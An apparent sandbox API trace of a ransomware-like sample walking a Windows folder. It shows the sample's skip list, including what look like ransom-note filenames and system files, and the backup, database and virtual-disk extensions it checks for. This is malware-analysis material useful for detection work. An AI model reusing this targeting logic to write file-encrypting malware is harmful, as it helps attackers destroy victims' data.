	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="ids.txt") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="ntuser.dat") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="perflogs") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="MSBuild") returned -1
	[0076.403] lstrlenW (lpString="da-DK") returned 5
	[0076.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned 56
	[0076.403] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="da-DK" | out: lpString1="da-DK") returned="da-DK"
	[0076.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0076.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591740
	[0076.403] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0076.403] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="Apollon865.txt.exe") returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2=".") returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="..") returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="windows") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="bootmgr") returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="temp") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="pagefile.sys") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="boot") returned 1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="ids.txt") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="ntuser.dat") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="perflogs") returned -1
	[0076.403] lstrcmpiW (lpString1="de-DE", lpString2="MSBuild") returned -1
	[0076.403] lstrlenW (lpString="de-DE") returned 5
	[0076.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned 56
	[0076.403] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="de-DE" | out: lpString1="de-DE") returned="de-DE"
	[0076.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0076.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5917c0
	[0076.403] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0076.403] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="Apollon865.txt.exe") returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2=".") returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="..") returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="windows") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="bootmgr") returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="temp") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="pagefile.sys") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="boot") returned 1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="ids.txt") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="ntuser.dat") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="perflogs") returned -1
	[0076.404] lstrcmpiW (lpString1="el-GR", lpString2="MSBuild") returned -1
	[0076.404] lstrlenW (lpString="el-GR") returned 5
	[0076.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned 56
	[0076.404] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="el-GR" | out: lpString1="el-GR") returned="el-GR"
	[0076.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0076.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591840
	[0076.404] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0076.404] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0076.404] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0076.404] lstrlenW (lpString="en-US") returned 5
	[0076.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 56
	[0076.404] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0076.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0076.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5918c0
	[0076.405] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0076.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="Apollon865.txt.exe") returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2=".") returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="..") returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="windows") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="bootmgr") returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="temp") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="pagefile.sys") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="boot") returned 1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="ids.txt") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="ntuser.dat") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="perflogs") returned -1
	[0076.405] lstrcmpiW (lpString1="es-ES", lpString2="MSBuild") returned -1
	[0076.405] lstrlenW (lpString="es-ES") returned 5
	[0076.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned 56
	[0076.405] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="es-ES" | out: lpString1="es-ES") returned="es-ES"
	[0076.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0076.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591940
	[0076.405] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0076.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="Apollon865.txt.exe") returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2=".") returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="..") returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="windows") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="bootmgr") returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="temp") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="pagefile.sys") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="boot") returned 1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="ids.txt") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="ntuser.dat") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="perflogs") returned -1
	[0076.405] lstrcmpiW (lpString1="et-EE", lpString2="MSBuild") returned -1
	[0076.406] lstrlenW (lpString="et-EE") returned 5
	[0076.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56
	[0076.406] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="et-EE" | out: lpString1="et-EE") returned="et-EE"
	[0076.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0076.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5919c0
	[0076.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0076.406] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="Apollon865.txt.exe") returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2=".") returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="..") returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="windows") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="bootmgr") returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="temp") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="pagefile.sys") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="boot") returned 1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="ids.txt") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="ntuser.dat") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="perflogs") returned -1
	[0076.406] lstrcmpiW (lpString1="fi-FI", lpString2="MSBuild") returned -1
	[0076.406] lstrlenW (lpString="fi-FI") returned 5
	[0076.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned 56
	[0076.406] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="fi-FI" | out: lpString1="fi-FI") returned="fi-FI"
	[0076.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0076.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591a40
	[0076.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0076.406] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="Apollon865.txt.exe") returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".") returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="..") returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="windows") returned -1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootmgr") returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="temp") returned -1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="pagefile.sys") returned -1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="boot") returned 1
	[0076.406] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ids.txt") returned -1
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntuser.dat") returned -1
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="perflogs") returned -1
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="MSBuild") returned -1
	[0076.407] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned 56
	[0076.407] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="FlickAnimation.avi" | out: lpString1="FlickAnimation.avi") returned="FlickAnimation.avi"
	[0076.407] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0076.407] lstrlenW (lpString="Apollon865") returned 10
	[0076.407] lstrcmpiW (lpString1="mation.avi", lpString2="Apollon865") returned 1
	[0076.407] lstrlenW (lpString=".dll") returned 4
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".dll") returned 1
	[0076.407] lstrlenW (lpString=".lnk") returned 4
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".lnk") returned 1
	[0076.407] lstrlenW (lpString=".ini") returned 4
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".ini") returned 1
	[0076.407] lstrlenW (lpString=".sys") returned 4
	[0076.407] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".sys") returned 1
	[0076.407] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0076.407] lstrlenW (lpString="bak") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0076.407] lstrlenW (lpString="ba_") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0076.407] lstrlenW (lpString="dbb") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0076.407] lstrlenW (lpString="vmdk") returned 4
	[0076.407] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0076.407] lstrlenW (lpString="rar") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0076.407] lstrlenW (lpString="zip") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0076.407] lstrlenW (lpString="tgz") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0076.407] lstrlenW (lpString="vbox") returned 4
	[0076.407] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0076.407] lstrlenW (lpString="vdi") returned 3
	[0076.407] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0076.407] lstrlenW (lpString="vhd") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0076.408] lstrlenW (lpString="vhdx") returned 4
	[0076.408] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0076.408] lstrlenW (lpString="avhd") returned 4
	[0076.408] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0076.408] lstrlenW (lpString="db") returned 2
	[0076.408] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0076.408] lstrlenW (lpString="db2") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0076.408] lstrlenW (lpString="db3") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0076.408] lstrlenW (lpString="dbf") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0076.408] lstrlenW (lpString="mdf") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0076.408] lstrlenW (lpString="mdb") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0076.408] lstrlenW (lpString="sql") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0076.408] lstrlenW (lpString="sqlite") returned 6
	[0076.408] lstrcmpiW (lpString1="on.avi", lpString2="sqlite") returned -1
	[0076.408] lstrlenW (lpString="sqlite3") returned 7
	[0076.408] lstrcmpiW (lpString1="ion.avi", lpString2="sqlite3") returned -1
	[0076.408] lstrlenW (lpString="sqlitedb") returned 8
	[0076.408] lstrcmpiW (lpString1="tion.avi", lpString2="sqlitedb") returned 1
	[0076.408] lstrlenW (lpString="xml") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0076.408] lstrlenW (lpString="$er") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0076.408] lstrlenW (lpString="4dd") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0076.408] lstrlenW (lpString="4dl") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0076.408] lstrlenW (lpString="^^^") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0076.408] lstrlenW (lpString="abs") returned 3
	[0076.408] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0076.408] lstrlenW (lpString="abx") returned 3
	[0076.409] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0076.409] lstrlenW (lpString="accdb") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accdb") returned 1
	[0076.409] lstrlenW (lpString="accdc") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accdc") returned 1
	[0076.409] lstrlenW (lpString="accde") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accde") returned 1
	[0076.409] lstrlenW (lpString="accdr") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accdr") returned 1
	[0076.409] lstrlenW (lpString="accdt") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accdt") returned 1
	[0076.409] lstrlenW (lpString="accdw") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accdw") returned 1
	[0076.409] lstrlenW (lpString="accft") returned 5
	[0076.409] lstrcmpiW (lpString1="n.avi", lpString2="accft") returned 1
	[0076.409] lstrlenW (lpString="adb") returned 3
	[0076.409] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0076.409] lstrlenW (lpString="adb") returned 3
	[0076.409] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0076.409] lstrlenW (lpString="ade") returned 3
	[0076.409] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0076.409] lstrlenW (lpString="adf") returned 3
	[0076.409] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0076.409] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="FlickLearningWizard.exe" | out: lpString1="FlickLearningWizard.exe") returned="FlickLearningWizard.exe"
	[0076.409] lstrlenW (lpString="FlickLearningWizard.exe") returned 23
	[0076.409] lstrlenW (lpString="Apollon865") returned 10
	[0076.410] lstrcmpiW (lpString1="Wizard.exe", lpString2="Apollon865") returned 1
	[0076.410] lstrlenW (lpString=".dll") returned 4
	[0076.410] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".dll") returned 1
	[0076.410] lstrlenW (lpString=".lnk") returned 4
	[0076.410] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".lnk") returned 1
	[0076.410] lstrlenW (lpString=".ini") returned 4
	[0076.410] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".ini") returned 1
	[0076.410] lstrlenW (lpString=".sys") returned 4
	[0076.410] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".sys") returned 1
	[0076.410] lstrlenW (lpString="FlickLearningWizard.exe") returned 23
	[0076.410] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="fr-FR" | out: lpString1="fr-FR") returned="fr-FR"
	[0076.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0076.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591ac0
	[0076.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0076.410] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="Apollon865.txt.exe") returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2=".") returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="..") returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="windows") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="bootmgr") returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="temp") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="pagefile.sys") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="boot") returned 1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="ids.txt") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="ntuser.dat") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="perflogs") returned -1
	[0076.410] lstrcmpiW (lpString1="fsdefinitions", lpString2="MSBuild") returned -1
	[0076.410] lstrlenW (lpString="fsdefinitions") returned 13
	[0076.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned 56
	[0076.410] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="fsdefinitions" | out: lpString1="fsdefinitions") returned="fsdefinitions"
	[0076.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0076.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0076.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0076.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0076.411] lstrcmpiW (lpString1="he-IL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.411] lstrcmpiW (lpString1="he-IL", lpString2="Apollon865.txt.exe") returned 1
	[0076.411] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="he-IL" | out: lpString1="he-IL") returned="he-IL"
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591b40
	[0076.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
